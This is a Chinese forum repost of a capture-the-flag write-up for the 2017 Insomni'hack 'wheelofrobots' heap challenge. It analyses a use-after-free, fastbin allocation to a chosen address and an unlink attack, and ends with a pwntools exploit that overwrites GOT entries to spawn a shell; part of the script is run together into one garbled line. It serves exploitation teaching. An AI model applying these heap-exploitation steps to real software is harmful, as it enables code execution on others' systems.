ToB企服应用市场:ToB评测及商务社交产业平台

标题: 2017 insomni'hack wheelofrobots Writeup [打印本页]

作者: 北冰洋以北    时间: 2022-10-3 01:22
标题: 2017 insomni'hack wheelofrobots Writeup
2017 insomni'hack wheelofrobots Writeup

0x00 前言

题目地址:wheelofrobots
程序保护:

0x01 程序分析

1.1 main

main程序如下图。进入程序后,先显示菜单,然后用户输入,根据选项调用相应的功能函数。

菜单函数如下图,该程序主要有四个功能:添加、删除、修改、输出。

选项读取函数如下,使用read()向a1处读入len长度,然后调用atoi将其转化为数字。

1.2 add

程序一共有6个机器人可供选择,用数字1,2,3,4,5,6来选择,根据用户选择执行相应的添加流程。总共添加的机器人轮子数不超过2,即最多添加3个机器人。
机器人1 Tinny的分配即case 1部分:判断是否使用-->申请大小为20块,将地址保存在tinny-->tinny_inuse置1-->往块中写入默认内容-->轮子数+1

机器人2 Bender的添加代码如下图。与1 tinny相比可以控制申请块的大小,并将大小变量保存在bender_size全局变量中。

机器人3 Devil与2一样,但可以分配更大的内存块。

机器人4 Chain与机器人5 Ire一样,只能申请固定大小块。

机器人6 Destructor也是与前面一样的操作。

1.3 remove

移除的操作每个机器人都一样,以机器人1为例。这里机器人移除后指针没有置NULL!

1.4 change

修改操作每个机器人都一样,只是可写入的块大小不同,以机器人1,2为例。

1.5 start_robot

此功能实际为打印,函数sub_400CA0(char *p)包含一个printf打印,可以将p指向的内容打印出来,这里p为各机器人块地址。但switch中的sub_4051BD()结果是随机的,且打印完后会执行exit(1)程序会直接退出。
  1. int start_robot()
  2. {
  3.   if ( (unsigned __int64)robot_wheel_cnt > 2 )        //要求轮子数为2
  4.   {
  5.     switch ( (unsigned int)sub_4015BD(6LL) )        //结果具有随机性
  6.     {
  7.       case 1u:
  8.         if ( !bender_inuse )
  9.           goto LABEL_6;
  10.         sub_400CA0(tinny);        // 打印tinny指针指向的内容
  11.         break;
  12.       case 2u:
  13. LABEL_6:
  14.         if ( !bender_inuse )
  15.           goto LABEL_8;
  16.         sub_400B20((__int64)"Are you kidding me!!!");
  17.         break;
  18.       case 3u:
  19. LABEL_8:
  20.         if ( !devil_inuse )
  21.           goto LABEL_10;
  22.         sub_400CA0(devil);
  23.         break;
  24.       case 4u:
  25. LABEL_10:
  26.         if ( !chain_inuse )
  27.           goto LABEL_12;
  28.         sub_400CA0((char *)chain);
  29.         break;
  30.       case 5u:
  31. LABEL_12:
  32.         if ( !ire_inuse )
  33.           goto LABEL_14;
  34.         sub_400CA0((char *)ire);
  35.         break;
  36.       case 6u:
  37. LABEL_14:
  38.         if ( !destructor_inuse )
  39.           goto LABEL_16;
  40.         sub_400CA0((char *)destructor);
  41.         break;
  42.       default:
  43. LABEL_16:
  44.         sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
  45.         break;
  46.     }
  47.     exit(1);        // 打印完后直接退出
  48.   }
  49.   return puts("Filling the wheel first!");
  50. }
复制代码
1.6 bss变量位置关系

可以看到依次存储的是:各机器人块地址-->用户选择-->各机器人使用状态-->轮子数-->各机器人块大小
  1. .bss:00000000006030E0 chain           dq ?                    ; DATA XREF: add+28F↑w
  2. .bss:00000000006030E0                                         ; add+296↑r ...
  3. .bss:00000000006030E8 ; void *destructor
  4. .bss:00000000006030E8 destructor      dq ?                    ; DATA XREF: add+3A0↑w
  5. .bss:00000000006030E8                                         ; add+3BB↑r ...
  6. .bss:00000000006030F0 ; void *bender
  7. .bss:00000000006030F0 bender          dq ?                    ; DATA XREF: add+162↑w
  8. .bss:00000000006030F0                                         ; add+17D↑r ...
  9. .bss:00000000006030F8 ; char *tinny
  10. .bss:00000000006030F8 tinny           dq ?                    ; DATA XREF: add+A6↑w
  11. .bss:00000000006030F8                                         ; add+B7↑r ...
  12. .bss:0000000000603100 ; char *devil
  13. .bss:0000000000603100 devil           dq ?                    ; DATA XREF: add+225↑w
  14. .bss:0000000000603100                                         ; add+240↑r ...
  15. .bss:0000000000603108 ; void *ire
  16. .bss:0000000000603108 ire             dq ?                    ; DATA XREF: add+2F3↑w
  17. .bss:0000000000603108                                         ; add+2FA↑r ...
  18. .bss:0000000000603110 ; char *choice
  19. .bss:0000000000603110 choice          db    ? ;               ; DATA XREF: add+3A↑o
  20. .bss:0000000000603110                                         ; add+49↑o ...
  21. .bss:0000000000603111                 db    ? ;
  22. .bss:0000000000603112                 db    ? ;
  23. .bss:0000000000603113                 db    ? ;
  24. .bss:0000000000603114 ; int bender_inuse
  25. .bss:0000000000603114 bender_inuse    dd ?                    ; DATA XREF: add:loc_400EE0↑r
  26. .bss:0000000000603114                                         ; add+173↑w ...
  27. .bss:0000000000603118 ; int chain_inuse
  28. .bss:0000000000603118 chain_inuse     dd ?                    ; DATA XREF: add:loc_40106A↑r
  29. .bss:0000000000603118                                         ; add+2B5↑w ...
  30. .bss:000000000060311C ; int destructor_inuse
  31. .bss:000000000060311C destructor_inuse dd ?                   ; DATA XREF: add:loc_401135↑r
  32. .bss:000000000060311C                                         ; add+3B1↑w ...
  33. .bss:0000000000603120 ; int tinny_inuse
  34. .bss:0000000000603120 tinny_inuse     dd ?                    ; DATA XREF: add:loc_400E81↑r
  35. .bss:0000000000603120                                         ; add+AD↑w ...
  36. .bss:0000000000603124 ; int devil_inuse
  37. .bss:0000000000603124 devil_inuse     dd ?                    ; DATA XREF: add:loc_400FA3↑r
  38. .bss:0000000000603124                                         ; add+236↑w ...
  39. .bss:0000000000603128 ; int ire_inuse
  40. .bss:0000000000603128 ire_inuse       dd ?                    ; DATA XREF: add:loc_4010CE↑r
  41. .bss:0000000000603128                                         ; add+31C↑w ...
  42. .bss:000000000060312C                 align 10h
  43. .bss:0000000000603130 ; __int64 robot_wheel_cnt
  44. .bss:0000000000603130 robot_wheel_cnt dq ?                    ; DATA XREF: add+56↑r
  45. .bss:0000000000603130                                         ; add+D1↑r ...
  46. .bss:0000000000603138 ; __int64 bender_size
  47. .bss:0000000000603138 bender_size     dq ?                    ; DATA XREF: add+16C↑w
  48. .bss:0000000000603138                                         ; change+AC↑r
  49. .bss:0000000000603140 ; __int64 devil_size
  50. .bss:0000000000603140 devil_size      dq ?                    ; DATA XREF: add+22F↑w
  51. .bss:0000000000603140                                         ; change+F5↑r
  52. .bss:0000000000603148 ; __int64 destructor_size
  53. .bss:0000000000603148 destructor_size dq ?                    ; DATA XREF: add+3AA↑w
  54. .bss:0000000000603148                                         ; change+19C↑r
复制代码
0x02 利用思路

从后向前介绍思路,最终要执行system("/bin/sh"),需要泄露某个函数地址,获得动态链接库加载基址。程序中start_robot功能中的输出可以被利用来泄露函数地址,但这里输出的内容为机器人指针指向的内容,所以我们应该想办法将机器人指针修改为某函数GOT地址,从而泄露该函数实际地址。
为了修改机器人(chunk)指针内容,可以使用unlink,这就需要构造fake_chunk并溢出数据覆盖下一个chunk的header。这里有3个块的大小由变量决定,若能篡改其中一个块的size,则可以达到上面的目的。

在前面的分析中发现,机器人指针free后没有置NULL,我们还可以继续往对应地址写入内容。我们可以利用fastbin机制漏洞,将chunk分配到0x603138处,进而可以向0x603148(destructor_size)处写值,控制destructor chunk大小,实现unlink。
  1. 分配chunk到0x603138后
  2. 0x603138        pre_size                //bender_size
  3. 0x603140        size                        //devil_size
  4. 0x603148        userdata                //destructor_size
复制代码
fastbin漏洞原理
fastbin链表使用的是单链表,设初始申请大小为0x20的chunk0,地址为chunk0_ptr,再释放,这时链表指向:fastbin[0]=>chunk0_ptr
若有个地址fake_ptr,我们可以控制fake_ptr+0x08处的值为0x21(与上面块大小相同),这时我们向chunk0写入fake_ptr(利用分配时得到的指针),这时chunk0的fd就会变成fake_ptr,链表指向:fastbin[0]=>chunk0_ptr=>fake_ptr
这时我们再分配大小为0x20的块,就会把chunk0重新分配出来,这时链表指向:fastbin[0]=>fake_ptr
然后我们再分配大小为0x20的块,就会得到一个地址为fake_ptr的chunk,进而可以往fake_ptr+0x10处写入数据。
P.S. 之所以要求fake_ptr+0x08处值为0x21是因为fastbin在分配时会进行检查块大小是否正确(同一个链里块大小相同)
为了实现将chunk分配到0x603138处,需要满足两个条件:

第2个条件很容易满足,因为0x603140位置为devil_size位置,我们可以在申请devil机器人时设置它的大小,其大小约束(fd设为0x603138change(2, p64(0x603138))# 将bender_inuse还原为未使用,fastbin[0]==>bender_ptr==>0x603138ch_bender_inuse('\x00')#将bender_ptr重新分配出来,fastbin[0]==>0x603138add(2,1)#将0x603140(devil_size)设置为0x21,因fastbin分配时会验证大小add(3,0x21)#将0x603138地址开始的chunk分配给tinny(1)add(1)# 因最多分配3个,移除多余的remove(2)remove(3)# 分配两个chunk用来实现unlinkadd(6,3)        #destructor,用于溢出,实际数据大小为0x40(3*20=60,再加上对齐)add(3,7)        #devil# 向1块用户空间(0x603148--destructor_size)写入内容,即修改destructor_size为0x80change(1,p64(0x80))# 构造payload unlinktarget = 0x6030E8        #destructor指针地址fd = target - 0x18bk = target - 0x10# 构造fake_chunkpayload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8# 修改devil chunk headerpayload += p64(0x40) + p64(0xa0)# 写入destructor并溢出change(6,payload)# unlink,使destructor[0]=&destructor-0x18remove(3)# 构造payload写入destructor即0x6030D0,使tinny指向destructor# 进而可以通过控制tinny修改destructor的指向,通过destructor修改其指向位置的内容,实现任意写payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)change(6,payload)#.bss:00000000006030D0 stdin           dq ?        0#.bss:00000000006030D8 byte_6030D8     db ?        0   #.bss:00000000006030E0 chain           dq ?        'aaaaaaaa'   #.bss:00000000006030E8 destructor      dq ?            'aaaaaaaa'#.bss:00000000006030F0 bender          dq ?            'aaaaaaaa'#.bss:00000000006030F8 tinny           dq ?           0x006030E8#.bss:0000000000603100 devil           dq ?   libc = ELF('./libc-2.23.so')elf = ELF('./wheelofrobots')# patch exit为return指令,防止输出地址后exit(1)退出write(elf.got['exit'], 0x401954)puts_got = elf.got['puts']# .bss:0000000000603130 robot_wheel_cnt dq ?  # 修改robot_wheel_cnt值为3,使start_robot()可以输出write(0x603130, 3)# 修改tinny指向(destructor)值为puts@got地址change(1,p64(elf.got['puts']))# 输出destructor指向(puts@got)的内容,即puts的实际地址start_robot()p.recvuntil('great!! Thx ')leak = p.recvuntil('!\n')[:-2]leak_puts = u64(leak.ljust(8,b'\x00'))log.success('leak puts addr: ' + hex(leak_puts))# 计算动态链接库加载基址,及system函数地址libc_base = leak_puts - libc.symbols['puts']sys_addr = libc_base + libc.symbols['system']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('/bin/sh addr: ' + hex(binsh_addr))# 将free@got值改为system函数地址write(elf.got['free'], sys_addr)# 将destructor设为"/bin/sh"字符串地址change(1,p64(binsh_addr))# free(destructor)==>system("/bin/sh")remove(6)p.interactive()[/code]执行结果

0x04 参考链接

CTF-WIKI-Unlink
CTF-WIKI-Alloc to Stack

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4